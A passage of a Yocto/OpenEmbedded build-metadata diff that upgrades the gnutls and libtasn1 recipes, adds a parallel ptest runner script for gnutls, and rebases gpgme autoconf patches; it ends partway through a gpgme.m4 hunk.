+Subject: [PATCH] gnutls: add ptest support
+
+Upstream-Status: Inappropriate [embedded specific]
+Signed-off-by: Ravineet Singh <ravineet.a.singh@est.tech>
+---
+ Makefile.am | 3 +++
+ configure.ac | 2 ++
+ tests/Makefile.am | 6 ++++++
+ 3 files changed, 11 insertions(+)
+
+diff --git a/Makefile.am b/Makefile.am
+index 843193f..816b09f 100644
+--- a/Makefile.am
++++ b/Makefile.am
+@@ -191,6 +191,9 @@ dist-hook:
+ mv ChangeLog $(distdir)
+ touch -c $(distdir)/doc/*.html $(distdir)/doc/*.pdf $(distdir)/doc/*.info
+
++install-ptest:
++ $(MAKE) -C tests DESTDIR=$(DESTDIR)/tests $@
++
+ .PHONY: abi-check abi-dump-versioned abi-dump-latest pic-check symbol-check local-code-coverage-output files-update AUTHORS
+
+ include $(top_srcdir)/cligen/cligen.mk
+diff --git a/configure.ac b/configure.ac
+index d6e03cf..e3f15fb 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -1213,6 +1213,8 @@ AC_SUBST(LIBGNUTLS_CFLAGS)
+
+ AM_CONDITIONAL(NEEDS_LIBRT, test "$gnutls_needs_librt" = "yes")
+
++AM_EXTRA_RECURSIVE_TARGETS([buildtest-TESTS])
++
+ AC_DEFINE([GNUTLS_INTERNAL_BUILD], 1, [We allow temporarily usage of deprecated functions - until they are removed.])
+
+ hw_features=
+diff --git a/tests/Makefile.am b/tests/Makefile.am
+index fb9e55a..c2d226a 100644
+--- a/tests/Makefile.am
++++ b/tests/Makefile.am
+@@ -658,6 +658,12 @@ SH_LOG_COMPILER = $(SHELL)
+ AM_VALGRINDFLAGS = --suppressions=$(srcdir)/suppressions.valgrind
+ LOG_COMPILER = $(LOG_VALGRIND)
+
++install-ptest: $(check_PROGRAMS)
++ @$(INSTALL) -d $(DESTDIR)
++ @for file in $^; do \
++ $(INSTALL_PROGRAM) $$file $(DESTDIR) ; \
++ done
++
+ distclean-local:
+ rm -rf softhsm-*.db softhsm-*.config *.tmp tmp-* x509-crt-list-import-url.config.db port.lock.d
+
diff --git a/meta/recipes-support/gnutls/gnutls/arm_eabi.patch b/meta/recipes-support/gnutls/gnutls/arm_eabi.patch
index 34c8985c19..883d0123db 100644
--- a/meta/recipes-support/gnutls/gnutls/arm_eabi.patch
+++ b/meta/recipes-support/gnutls/gnutls/arm_eabi.patch
@@ -1,16 +1,26 @@
+From d17ae0ef31c3c186766a338e8c40c87d1b98820e Mon Sep 17 00:00:00 2001
+From: Joe Slater <jslater@windriver.com>
+Date: Wed, 25 Jan 2017 13:52:59 -0800
+Subject: [PATCH] gnutls: account for ARM_EABI
+
Certain syscall's are not availabe for arm-eabi, so we eliminate
reference to them.
Upstream-Status: Pending
Signed-off-by: Joe Slater <jslater@windriver.com>
+---
+ tests/seccomp.c | 2 ++
+ 1 file changed, 2 insertions(+)
+diff --git a/tests/seccomp.c b/tests/seccomp.c
+index 881f0bb..5f9204a 100644
--- a/tests/seccomp.c
+++ b/tests/seccomp.c
-@@ -49,7 +49,9 @@ int disable_system_calls(void)
- }
+@@ -55,7 +55,9 @@ int disable_system_calls(void)
ADD_SYSCALL(nanosleep, 0);
+ ADD_SYSCALL(clock_nanosleep, 0);
+#if ! defined(__ARM_EABI__)
ADD_SYSCALL(time, 0);
+#endif
diff --git a/meta/recipes-support/gnutls/gnutls/run-ptest b/meta/recipes-support/gnutls/gnutls/run-ptest
new file mode 100644
index 0000000000..17e26eae70
--- /dev/null
+++ b/meta/recipes-support/gnutls/gnutls/run-ptest
@@ -0,0 +1,100 @@
+#!/bin/sh
+
+rjob() {
+ local job=$1
+ local log=$2
+
+ # TODO: Output will be garbled
+ ./${job} >> ${log} 2>&1
+
+ ret=$?
+ case $ret in
+ 0)
+ echo "PASS: $t" >> ${log}
+ echo "PASS: $t"
+ ;;
+ 77)
+ echo "SKIP: $t" >> ${log}
+ echo "SKIP: $t"
+ ;;
+ *)
+ echo "FAIL: $t" >> ${log}
+ echo "FAIL: $t"
+ ;;
+ esac
+}
+
+is_disallowed() {
+ local key=$1
+ $(echo ${test_disallowlist} | grep -w -q ${key})
+ return $?
+}
+
+# TODO
+# This list should probably be in a external file
+# Testcases defined here either take very long time (dtls-stress)
+# or are dependent on local files (certs, etc) in local file system
+# currently not exported to target.
+
+test_disallowlist=""
+test_disallowlist="${test_disallowlist} dtls-stress"
+test_disallowlist="${test_disallowlist} handshake-large-cert"
+test_disallowlist="${test_disallowlist} id-on-xmppAddr"
+test_disallowlist="${test_disallowlist} mini-x509-cas"
+test_disallowlist="${test_disallowlist} pkcs12_simple"
+test_disallowlist="${test_disallowlist} protocol-set-allowlist"
+test_disallowlist="${test_disallowlist} psk-file"
+test_disallowlist="${test_disallowlist} rawpk-api"
+test_disallowlist="${test_disallowlist} set_pkcs12_cred"
+test_disallowlist="${test_disallowlist} system-override-curves-allowlist"
+test_disallowlist="${test_disallowlist} system-override-hash"
+test_disallowlist="${test_disallowlist} system-override-sig"
+test_disallowlist="${test_disallowlist} system-override-sig-tls"
+test_disallowlist="${test_disallowlist} system-prio-file"
+test_disallowlist="${test_disallowlist} x509cert-tl"
+
+LOG=${PWD}/tests.log
+cd tests
+max_njobs=$(grep -c ^processor /proc/cpuinfo)
+njobs=0
+
+set +e
+
+for t in *; do
+ [ -x $t ] || continue
+ [ -f $t ] || continue
+
+ is_disallowed ${t}
+ [ $? -eq 0 ] && continue
+
+ rjob ${t} ${LOG} &
+ one=1
+ njobs=$(expr ${njobs} + ${one})
+ if [ ${njobs} -eq ${max_njobs} ]; then
+ wait
+ njobs=0
+ fi
+done
+wait
+
+skipped=$(grep -c SKIP ${LOG})
+passed=$(grep -c PASS ${LOG})
+failed=$(grep -c FAIL ${LOG})
+total=$(expr ${passed} + ${failed} + ${skipped})
+
+if [ ${failed} -ne 0 ]; then
+ echo
+ echo "Tests failed for gnutls, log is:"
+ echo "--------------------"
+ cat ${LOG}
+ echo
+fi
+
+echo
+echo "gnutls test summary:"
+echo "--------------------"
+echo "total: ${total}"
+echo "pass : ${passed}"
+echo "fail : ${failed}"
+echo "skip : ${skipped}"
+echo
diff --git a/meta/recipes-support/gnutls/gnutls_3.6.14.bb b/meta/recipes-support/gnutls/gnutls_3.6.14.bb
deleted file mode 100644
index cc0454a561..0000000000
--- a/meta/recipes-support/gnutls/gnutls_3.6.14.bb
+++ /dev/null
@@ -1,67 +0,0 @@
-SUMMARY = "GNU Transport Layer Security Library"
-HOMEPAGE = "http://www.gnu.org/software/gnutls/"
-BUGTRACKER = "https://savannah.gnu.org/support/?group=gnutls"
-
-LICENSE = "GPLv3+ & LGPLv2.1+"
-LICENSE_${PN} = "LGPLv2.1+"
-LICENSE_${PN}-xx = "LGPLv2.1+"
-LICENSE_${PN}-bin = "GPLv3+"
-LICENSE_${PN}-openssl = "GPLv3+"
-
-LIC_FILES_CHKSUM = "file://LICENSE;md5=71391c8e0c1cfe68077e7fce3b586283 \
- file://doc/COPYING;md5=c678957b0c8e964aa6c70fd77641a71e \
- file://doc/COPYING.LESSER;md5=a6f89e2100d9b6cdffcea4f398e37343"
-
-DEPENDS = "nettle gmp virtual/libiconv libunistring"
-DEPENDS_append_libc-musl = " argp-standalone"
-
-SHRT_VER = "${@d.getVar('PV').split('.')[0]}.${@d.getVar('PV').split('.')[1]}"
-
-SRC_URI = "https://www.gnupg.org/ftp/gcrypt/gnutls/v${SHRT_VER}/gnutls-${PV}.tar.xz \
- file://arm_eabi.patch \
- file://0001-Modied-the-license-to-GPLv2.1-to-keep-with-LICENSE-f.patch \
-"
-
-SRC_URI[sha256sum] = "5630751adec7025b8ef955af4d141d00d252a985769f51b4059e5affa3d39d63"
-
-inherit autotools texinfo pkgconfig gettext lib_package gtk-doc
-
-PACKAGECONFIG ??= "libidn"
-
-# You must also have CONFIG_SECCOMP enabled in the kernel for
-# seccomp to work.
-PACKAGECONFIG[seccomp] = "ac_cv_libseccomp=yes,ac_cv_libseccomp=no,libseccomp"
-PACKAGECONFIG[libidn] = "--with-idn,--without-idn,libidn2"
-PACKAGECONFIG[libtasn1] = "--with-included-libtasn1=no,--with-included-libtasn1,libtasn1"
-PACKAGECONFIG[p11-kit] = "--with-p11-kit,--without-p11-kit,p11-kit"
-PACKAGECONFIG[tpm] = "--with-tpm,--without-tpm,trousers"
-
-EXTRA_OECONF = " \
- --enable-doc \
- --disable-libdane \
- --disable-guile \
- --disable-rpath \
- --enable-local-libopts \
- --enable-openssl-compatibility \
- --with-libpthread-prefix=${STAGING_DIR_HOST}${prefix} \
- --with-default-trust-store-file=${sysconfdir}/ssl/certs/ca-certificates.crt \
-"
-
-# Otherwise the tools try and use HOSTTOOLS_DIR/bash as a shell.
-export POSIX_SHELL="${base_bindir}/sh"
-
-LDFLAGS_append_libc-musl = " -largp"
-
-do_configure_prepend() {
- for dir in . lib; do
- rm -f ${dir}/aclocal.m4 ${dir}/m4/libtool.m4 ${dir}/m4/lt*.m4
- done
-}
-
-PACKAGES =+ "${PN}-openssl ${PN}-xx"
-
-FILES_${PN}-dev += "${bindir}/gnutls-cli-debug"
-FILES_${PN}-openssl = "${libdir}/libgnutls-openssl.so.*"
-FILES_${PN}-xx = "${libdir}/libgnutlsxx.so.*"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/gnutls/gnutls_3.8.4.bb b/meta/recipes-support/gnutls/gnutls_3.8.4.bb
new file mode 100644
index 0000000000..20139b4dd4
--- /dev/null
+++ b/meta/recipes-support/gnutls/gnutls_3.8.4.bb
@@ -0,0 +1,100 @@
+SUMMARY = "GNU Transport Layer Security Library"
+DESCRIPTION = "a secure communications library implementing the SSL, \
+TLS and DTLS protocols and technologies around them."
+HOMEPAGE = "https://gnutls.org/"
+BUGTRACKER = "https://savannah.gnu.org/support/?group=gnutls"
+
+LICENSE = "GPL-3.0-or-later & LGPL-2.1-or-later"
+LICENSE:${PN} = "LGPL-2.1-or-later"
+LICENSE:${PN}-xx = "LGPL-2.1-or-later"
+LICENSE:${PN}-bin = "GPL-3.0-or-later"
+LICENSE:${PN}-openssl = "GPL-3.0-or-later"
+
+LIC_FILES_CHKSUM = "file://LICENSE;md5=71391c8e0c1cfe68077e7fce3b586283 \
+ file://doc/COPYING;md5=1ebbd3e34237af26da5dc08a4e440464 \
+ file://doc/COPYING.LESSER;md5=4fbd65380cdd255951079008b364516c"
+
+DEPENDS = "nettle gmp virtual/libiconv libunistring"
+
+SHRT_VER = "${@d.getVar('PV').split('.')[0]}.${@d.getVar('PV').split('.')[1]}"
+
+SRC_URI = "https://www.gnupg.org/ftp/gcrypt/gnutls/v${SHRT_VER}/gnutls-${PV}.tar.xz \
+ file://arm_eabi.patch \
+ file://0001-Creating-.hmac-file-should-be-excuted-in-target-envi.patch \
+ file://run-ptest \
+ file://Add-ptest-support.patch \
+ "
+
+SRC_URI[sha256sum] = "2bea4e154794f3f00180fa2a5c51fe8b005ac7a31cd58bd44cdfa7f36ebc3a9b"
+
+inherit autotools texinfo pkgconfig gettext lib_package gtk-doc ptest
+
+PACKAGECONFIG ??= "libidn libtasn1 ${@bb.utils.filter('DISTRO_FEATURES', 'seccomp', d)}"
+
+# You must also have CONFIG_SECCOMP enabled in the kernel for
+# seccomp to work.
+PACKAGECONFIG[seccomp] = "--with-libseccomp-prefix=${STAGING_EXECPREFIXDIR},ac_cv_libseccomp=no,libseccomp"
+PACKAGECONFIG[libidn] = "--with-idn,--without-idn,libidn2"
+PACKAGECONFIG[libtasn1] = "--without-included-libtasn1,--with-included-libtasn1,libtasn1"
+PACKAGECONFIG[p11-kit] = "--with-p11-kit,--without-p11-kit,p11-kit"
+PACKAGECONFIG[tpm] = "--with-tpm,--without-tpm,trousers"
+PACKAGECONFIG[fips] = "--enable-fips140-mode --with-libdl-prefix=${STAGING_BASELIBDIR}"
+PACKAGECONFIG[dane] = "--enable-libdane,--disable-libdane,unbound"
+# Certificate compression
+PACKAGECONFIG[brotli] = "--with-brotli,--without-brotli,brotli"
+PACKAGECONFIG[zlib] = "--with-zlib,--without-zlib,zlib"
+PACKAGECONFIG[zstd] = "--with-zstd,--without-zstd,zstd"
+
+EXTRA_OECONF = " \
+ --enable-doc \
+ --disable-rpath \
+ --enable-openssl-compatibility \
+ --with-libpthread-prefix=${STAGING_DIR_HOST}${prefix} \
+ --with-librt-prefix=${STAGING_DIR_HOST}${prefix} \
+ --with-default-trust-store-file=${sysconfdir}/ssl/certs/ca-certificates.crt \
+"
+
+# Otherwise the tools try and use HOSTTOOLS_DIR/bash as a shell.
+export POSIX_SHELL="${base_bindir}/sh"
+
+do_configure:prepend() {
+ for dir in . lib; do
+ rm -f ${dir}/aclocal.m4 ${dir}/m4/libtool.m4 ${dir}/m4/lt*.m4
+ done
+}
+
+do_compile_ptest() {
+ oe_runmake -C tests buildtest-TESTS
+}
+
+do_install:append:class-target() {
+ if ${@bb.utils.contains('PACKAGECONFIG', 'fips', 'true', 'false', d)}; then
+ install -d ${D}${bindir}/bin
+ install -m 0755 ${B}/lib/.libs/fipshmac ${D}/${bindir}/
+ fi
+}
+
+PACKAGES =+ "${PN}-dane ${PN}-openssl ${PN}-xx ${PN}-fips"
+
+FILES:${PN}-dev += "${bindir}/gnutls-cli-debug"
+
+FILES:${PN}-dane = "${libdir}/libgnutls-dane.so.*"
+FILES:${PN}-openssl = "${libdir}/libgnutls-openssl.so.*"
+FILES:${PN}-xx = "${libdir}/libgnutlsxx.so.*"
+FILES:${PN}-fips = "${bindir}/fipshmac"
+
+RDEPENDS:${PN}-ptest += "python3"
+
+BBCLASSEXTEND = "native nativesdk"
+
+pkg_postinst_ontarget:${PN}-fips () {
+ if test -x ${bindir}/fipshmac
+ then
+ mkdir ${sysconfdir}/gnutls
+ touch ${sysconfdir}/gnutls/config
+ ${bindir}/fipshmac ${libdir}/libgnutls.so.30.*.* > ${libdir}/.libgnutls.so.30.hmac
+ ${bindir}/fipshmac ${libdir}/libnettle.so.8.* > ${libdir}/.libnettle.so.8.hmac
+ ${bindir}/fipshmac ${libdir}/libgmp.so.10.*.* > ${libdir}/.libgmp.so.10.hmac
+ ${bindir}/fipshmac ${libdir}/libhogweed.so.6.* > ${libdir}/.libhogweed.so.6.hmac
+ fi
+}
diff --git a/meta/recipes-support/gnutls/libtasn1/dont-depend-on-help2man.patch b/meta/recipes-support/gnutls/libtasn1/dont-depend-on-help2man.patch
index 2ac89f3b32..216d636793 100644
--- a/meta/recipes-support/gnutls/libtasn1/dont-depend-on-help2man.patch
+++ b/meta/recipes-support/gnutls/libtasn1/dont-depend-on-help2man.patch
@@ -1,14 +1,26 @@
+From 629fc6427710e48b78f8b1f300dd698fe898cfd4 Mon Sep 17 00:00:00 2001
+From: Marko Lindqvist <cazfi74@gmail.com>
+Date: Mon, 7 Jan 2013 01:49:40 +0200
+Subject: [PATCH] libtasn1: remove help2man dependency
+
Upstream-Status: Inappropriate
Signed-off-by: Marko Lindqvist <cazfi74@gmail.com>
-diff -Nurd libtasn1-2.14/doc/Makefile.am libtasn1-2.14/doc/Makefile.am
---- libtasn1-2.14/doc/Makefile.am 2012-09-24 15:08:42.000000000 +0300
-+++ libtasn1-2.14/doc/Makefile.am 2013-01-03 07:35:26.702763403 +0200
-@@ -31,7 +31,7 @@
- AM_MAKEINFOHTMLFLAGS = $(AM_MAKEINFOFLAGS) \
- --no-split --number-sections --css-include=texinfo.css
+---
+ doc/Makefile.am | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/doc/Makefile.am b/doc/Makefile.am
+index a0171a5..8aa4d3d 100644
+--- a/doc/Makefile.am
++++ b/doc/Makefile.am
+@@ -28,7 +28,7 @@ libtasn1_TEXINFOS += asn1Coding-help.texi asn1Decoding-help.texi asn1Parser-help
+
+ AM_MAKEINFOHTMLFLAGS = --no-split $(AM_MAKEINFOFLAGS)
+
-dist_man_MANS = $(gdoc_MANS) asn1Parser.1 asn1Coding.1 asn1Decoding.1
+dist_man_MANS = $(gdoc_MANS)
-
+
HELP2MAN_OPTS = --info-page libtasn1
+
diff --git a/meta/recipes-support/gnutls/libtasn1_4.16.0.bb b/meta/recipes-support/gnutls/libtasn1_4.16.0.bb
deleted file mode 100644
index 18dae6d0c9..0000000000
--- a/meta/recipes-support/gnutls/libtasn1_4.16.0.bb
+++ /dev/null
@@ -1,22 +0,0 @@
-SUMMARY = "Library for ASN.1 and DER manipulation"
-HOMEPAGE = "http://www.gnu.org/software/libtasn1/"
-
-LICENSE = "GPLv3+ & LGPLv2.1+"
-LICENSE_${PN}-bin = "GPLv3+"
-LICENSE_${PN} = "LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://doc/COPYING;md5=d32239bcb673463ab874e80d47fae504 \
- file://doc/COPYING.LESSER;md5=4fbd65380cdd255951079008b364516c \
- file://LICENSE;md5=75ac100ec923f959898182307970c360"
-
-SRC_URI = "${GNU_MIRROR}/libtasn1/libtasn1-${PV}.tar.gz \
- file://dont-depend-on-help2man.patch \
- "
-
-DEPENDS = "bison-native"
-
-SRC_URI[md5sum] = "531208de3729d42e2af0a32890f08736"
-SRC_URI[sha256sum] = "0e0fb0903839117cb6e3b56e68222771bebf22ad7fc2295a0ed7d576e8d4329d"
-
-inherit autotools texinfo lib_package gtk-doc
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/gnutls/libtasn1_4.19.0.bb b/meta/recipes-support/gnutls/libtasn1_4.19.0.bb
new file mode 100644
index 0000000000..5fb8b54c06
--- /dev/null
+++ b/meta/recipes-support/gnutls/libtasn1_4.19.0.bb
@@ -0,0 +1,23 @@
+SUMMARY = "Library for ASN.1 and DER manipulation"
+DESCRIPTION = "A highly portable C library that encodes and decodes \
+DER/BER data following an ASN.1 schema. "
+HOMEPAGE = "http://www.gnu.org/software/libtasn1/"
+
+LICENSE = "GPL-3.0-or-later & LGPL-2.1-or-later"
+LICENSE:${PN}-bin = "GPL-3.0-or-later"
+LICENSE:${PN} = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://doc/COPYING;md5=d32239bcb673463ab874e80d47fae504 \
+ file://doc/COPYING.LESSER;md5=4fbd65380cdd255951079008b364516c \
+ file://COPYING;md5=75ac100ec923f959898182307970c360"
+
+SRC_URI = "${GNU_MIRROR}/libtasn1/libtasn1-${PV}.tar.gz \
+ file://dont-depend-on-help2man.patch \
+ "
+
+DEPENDS = "bison-native"
+
+SRC_URI[sha256sum] = "1613f0ac1cf484d6ec0ce3b8c06d56263cc7242f1c23b30d82d23de345a63f7a"
+
+inherit autotools texinfo lib_package gtk-doc
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/gpgme/gpgme/0001-Revert-build-Make-gpgme.m4-use-gpgrt-config-with-.pc.patch b/meta/recipes-support/gpgme/gpgme/0001-Revert-build-Make-gpgme.m4-use-gpgrt-config-with-.pc.patch
index 0ed4eb6818..8ed39280ca 100644
--- a/meta/recipes-support/gpgme/gpgme/0001-Revert-build-Make-gpgme.m4-use-gpgrt-config-with-.pc.patch
+++ b/meta/recipes-support/gpgme/gpgme/0001-Revert-build-Make-gpgme.m4-use-gpgrt-config-with-.pc.patch
@@ -1,4 +1,4 @@
-From a001b3c23bf80fd752044615b9bba6b926ff9666 Mon Sep 17 00:00:00 2001
+From ee1421f7a7a9f31400ba992a5be52b88d20170c9 Mon Sep 17 00:00:00 2001
From: Hongxu Jia <hongxu.jia@windriver.com>
Date: Fri, 10 May 2019 14:18:04 +0800
Subject: [PATCH] Revert "build: Make gpgme.m4 use gpgrt-config with *.pc."
@@ -10,36 +10,21 @@ The oe-core does not support gpgrt-config, so revert it
Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+
---
- src/gpgme.m4 | 58 ++++++++++------------------------------------------------
- 1 file changed, 10 insertions(+), 48 deletions(-)
+ src/gpgme.m4 | 54 ++++++++--------------------------------------------
+ 1 file changed, 8 insertions(+), 46 deletions(-)
diff --git a/src/gpgme.m4 b/src/gpgme.m4
-index 2a72f18..6c2be44 100644
+index f2906c1..8cc2898 100644
--- a/src/gpgme.m4
+++ b/src/gpgme.m4
-@@ -1,5 +1,5 @@
- # gpgme.m4 - autoconf macro to detect GPGME.
--# Copyright (C) 2002, 2003, 2004, 2014, 2018 g10 Code GmbH
-+# Copyright (C) 2002, 2003, 2004, 2014 g10 Code GmbH
- #
- # This file is free software; as a special exception the author gives
- # unlimited permission to copy and/or distribute it, with or without
-@@ -9,7 +9,7 @@
- # WITHOUT ANY WARRANTY, to the extent permitted by law; without even the
- # implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- #
--# Last-changed: 2018-11-12
-+# Last-changed: 2014-10-02
-
-
- AC_DEFUN([_AM_PATH_GPGME_CONFIG],
-@@ -36,24 +36,10 @@ AC_DEFUN([_AM_PATH_GPGME_CONFIG],
+@@ -125,24 +125,10 @@ AC_REQUIRE([_AM_PATH_GPGRT_CONFIG])dnl
fi
fi
- use_gpgrt_config=""
-- if test x"${GPGME_CONFIG}" = x -a x"$GPGRT_CONFIG" != x -a "$GPGRT_CONFIG" != "no"; then
+- if test x"$GPGRT_CONFIG" != x -a "$GPGRT_CONFIG" != "no"; then
- if $GPGRT_CONFIG gpgme --exists; then
- GPGME_CONFIG="$GPGRT_CONFIG gpgme"
- AC_MSG_NOTICE([Use gpgrt-config as gpgme-config])
@@ -61,7 +46,7 @@ index 2a72f18..6c2be44 100644
fi
gpgme_version_major=`echo $gpgme_version | \
sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\).*/\1/'`
-@@ -66,16 +52,12 @@ AC_DEFUN([_AM_PATH_GPGME_CONFIG],
+@@ -155,16 +141,12 @@ AC_REQUIRE([_AM_PATH_GPGRT_CONFIG])dnl
AC_DEFUN([_AM_PATH_GPGME_CONFIG_HOST_CHECK],
[
@@ -80,7 +65,7 @@ index 2a72f18..6c2be44 100644
*** built for $gpgme_config_host and thus may not match the
*** used host $host.
*** You may want to use the configure option --with-gpgme-prefix
-@@ -136,11 +118,7 @@ AC_DEFUN([AM_PATH_GPGME],
+@@ -225,11 +207,7 @@ AC_DEFUN([AM_PATH_GPGME],
# If we have a recent GPGME, we should also check that the
# API is compatible.
if test "$req_gpgme_api" -gt 0 ; then
@@ -93,7 +78,7 @@ index 2a72f18..6c2be44 100644
if test "$tmp" -gt 0 ; then
if test "$req_gpgme_api" -ne "$tmp" ; then
ok=no
-@@ -280,11 +258,7 @@ AC_DEFUN([AM_PATH_GPGME_GLIB],
+@@ -372,11 +350,7 @@ AC_DEFUN([AM_PATH_GPGME_GLIB],
# If we have a recent GPGME, we should also check that the
# API is compatible.
if test "$req_gpgme_api" -gt 0 ; then
@@ -106,7 +91,7 @@ index 2a72f18..6c2be44 100644
if test "$tmp" -gt 0 ; then
if test "$req_gpgme_api" -ne "$tmp" ; then
ok=no
-@@ -293,20 +267,8 @@ AC_DEFUN([AM_PATH_GPGME_GLIB],
+@@ -385,20 +359,8 @@ AC_DEFUN([AM_PATH_GPGME_GLIB],
fi
fi
if test $ok = yes; then
@@ -129,6 +114,3 @@ index 2a72f18..6c2be44 100644
AC_MSG_RESULT(yes)
ifelse([$2], , :, [$2])
_AM_PATH_GPGME_CONFIG_HOST_CHECK
---
-2.7.4
-
diff --git a/meta/recipes-support/gpgme/gpgme/0001-autogen.sh-remove-unknown-in-version.patch b/meta/recipes-support/gpgme/gpgme/0001-autogen.sh-remove-unknown-in-version.patch
new file mode 100644
index 0000000000..6d67e6d6c9
--- /dev/null
+++ b/meta/recipes-support/gpgme/gpgme/0001-autogen.sh-remove-unknown-in-version.patch
@@ -0,0 +1,32 @@
+From acc4750ffa79a5c2ef3c95cf31ef51352a68837b Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Tue, 28 Feb 2023 13:43:51 +0800
+Subject: [PATCH] autogen.sh: remove '-unknown' in version
+
+python setuptools >=66.0.0 treats '-unknown' as an invalid version.
+The error message is as below:
+ pkg_resources.extern.packaging.version.InvalidVersion: Invalid version: '1.18.0-unknown'
+
+Remove the '-unknown' suffix to fix this issue.
+
+Upstream-Status: Submitted [https://lists.gnupg.org/pipermail/gnupg-devel/2023-February/035293.html]
+
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+
+---
+ autogen.sh | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/autogen.sh b/autogen.sh
+index 4e1665b..a55326d 100755
+--- a/autogen.sh
++++ b/autogen.sh
+@@ -269,7 +269,7 @@ if [ "$myhost" = "find-version" ]; then
+ else
+ ingit=no
+ beta=yes
+- tmp="-unknown"
++ tmp=""
+ rev="0000000"
+ rvd="0"
+ fi
diff --git a/meta/recipes-support/gpgme/gpgme/0001-pkgconfig.patch b/meta/recipes-support/gpgme/gpgme/0001-pkgconfig.patch
index 827d95a151..831771ca2d 100644
--- a/meta/recipes-support/gpgme/gpgme/0001-pkgconfig.patch
+++ b/meta/recipes-support/gpgme/gpgme/0001-pkgconfig.patch
@@ -1,4 +1,4 @@
-From 98ce65902b197faa8f660564613ca2e504c2f8f8 Mon Sep 17 00:00:00 2001
+From 7b3a00cb0fc27c896dd85c9afc474bd9c2aea30d Mon Sep 17 00:00:00 2001
From: Richard Purdie <richard.purdie@linuxfoundation.org>
Date: Fri, 10 May 2019 14:23:55 +0800
Subject: [PATCH] pkgconfig
@@ -12,22 +12,24 @@ RP 2015/4/17
Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
Rebase to 1.13.0
-
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+Rebase to 1.17.0
+Signed-off-by: Wang Mingyu <wangmy@fujitsu.com>
+
---
configure.ac | 1 +
src/Makefile.am | 4 +-
- src/gpgme-pthread.pc.in | 15 +++++++
- src/gpgme.m4 | 114 ++++--------------------------------------------
+ src/gpgme-pthread.pc.in | 15 +++++
+ src/gpgme.m4 | 119 +++-------------------------------------
src/gpgme.pc.in | 4 +-
- 5 files changed, 28 insertions(+), 110 deletions(-)
+ 5 files changed, 29 insertions(+), 114 deletions(-)
create mode 100644 src/gpgme-pthread.pc.in
diff --git a/configure.ac b/configure.ac
-index 25184f4..1c0a386 100644
+index ae4c7da..df892c9 100644
--- a/configure.ac
+++ b/configure.ac
-@@ -899,6 +899,7 @@ AC_CONFIG_FILES(Makefile src/Makefile
+@@ -1112,6 +1112,7 @@ AC_CONFIG_FILES(Makefile src/Makefile
src/gpgme-glib.pc
src/gpgme.h)
AC_CONFIG_FILES(src/gpgme-config, chmod +x src/gpgme-config)
@@ -36,7 +38,7 @@ index 25184f4..1c0a386 100644
AC_CONFIG_FILES(lang/cpp/tests/Makefile)
AC_CONFIG_FILES(lang/cpp/src/GpgmeppConfig-w32.cmake.in)
diff --git a/src/Makefile.am b/src/Makefile.am
-index d85a85c..d942f3e 100644
+index ca70950..bda5498 100644
--- a/src/Makefile.am
+++ b/src/Makefile.am
@@ -20,11 +20,11 @@
@@ -51,8 +53,8 @@ index d85a85c..d942f3e 100644
- gpgme.pc.in gpgme-glib.pc.in
+ gpgme.pc.in gpgme-glib.pc.in gpgme-pthread.pc.in
- bin_SCRIPTS = gpgme-config
- m4datadir = $(datadir)/aclocal
+ if USE_GPGRT_CONFIG
+ noinst_SCRIPTS = gpgme-config
diff --git a/src/gpgme-pthread.pc.in b/src/gpgme-pthread.pc.in
new file mode 100644
index 0000000..074bbf6
@@ -75,10 +77,10 @@ index 0000000..074bbf6
+Cflags: -I${includedir}
+Requires: libassuan gpg-error
diff --git a/src/gpgme.m4 b/src/gpgme.m4
-index 6c2be44..d8a75cb 100644
+index 8cc2898..0ff550e 100644
--- a/src/gpgme.m4
+++ b/src/gpgme.m4
-@@ -79,7 +79,7 @@ dnl config script does not match the host specification the script
+@@ -168,7 +168,7 @@ dnl config script does not match the host specification the script
dnl is added to the gpg_config_script_warn variable.
dnl
AC_DEFUN([AM_PATH_GPGME],
@@ -87,7 +89,7 @@ index 6c2be44..d8a75cb 100644
tmp=ifelse([$1], ,1:0.4.2,$1)
if echo "$tmp" | grep ':' >/dev/null 2>/dev/null ; then
req_gpgme_api=`echo "$tmp" | sed 's/\(.*\):\(.*\)/\1/'`
-@@ -89,36 +89,12 @@ AC_DEFUN([AM_PATH_GPGME],
+@@ -178,36 +178,12 @@ AC_DEFUN([AM_PATH_GPGME],
min_gpgme_version="$tmp"
fi
@@ -126,7 +128,7 @@ index 6c2be44..d8a75cb 100644
if test "$tmp" -gt 0 ; then
if test "$req_gpgme_api" -ne "$tmp" ; then
ok=no
-@@ -127,19 +103,11 @@ AC_DEFUN([AM_PATH_GPGME],
+@@ -216,19 +192,11 @@ AC_DEFUN([AM_PATH_GPGME],
fi
fi
if test $ok = yes; then
@@ -146,44 +148,45 @@ index 6c2be44..d8a75cb 100644
])
dnl AM_PATH_GPGME_PTHREAD([MINIMUM-VERSION,
-@@ -148,7 +116,7 @@ dnl Test for libgpgme and define GPGME_PTHREAD_CFLAGS
+@@ -236,9 +204,8 @@ dnl [ACTION-IF-FOUND [, ACTION-IF-NOT-FOUND ]]])
+ dnl Test for libgpgme and define GPGME_PTHREAD_CFLAGS
dnl and GPGME_PTHREAD_LIBS.
dnl
- AC_DEFUN([AM_PATH_GPGME_PTHREAD],
--[ AC_REQUIRE([_AM_PATH_GPGME_CONFIG])dnl
+-AC_DEFUN([AM_PATH_GPGME_PTHREAD],[
+- AC_OBSOLETE([$0], [; use AM_PATH_GPGME instead to use GPGME_CFLAGS and GPGME_LIBS])dnl
+- AC_REQUIRE([_AM_PATH_GPGME_CONFIG])dnl
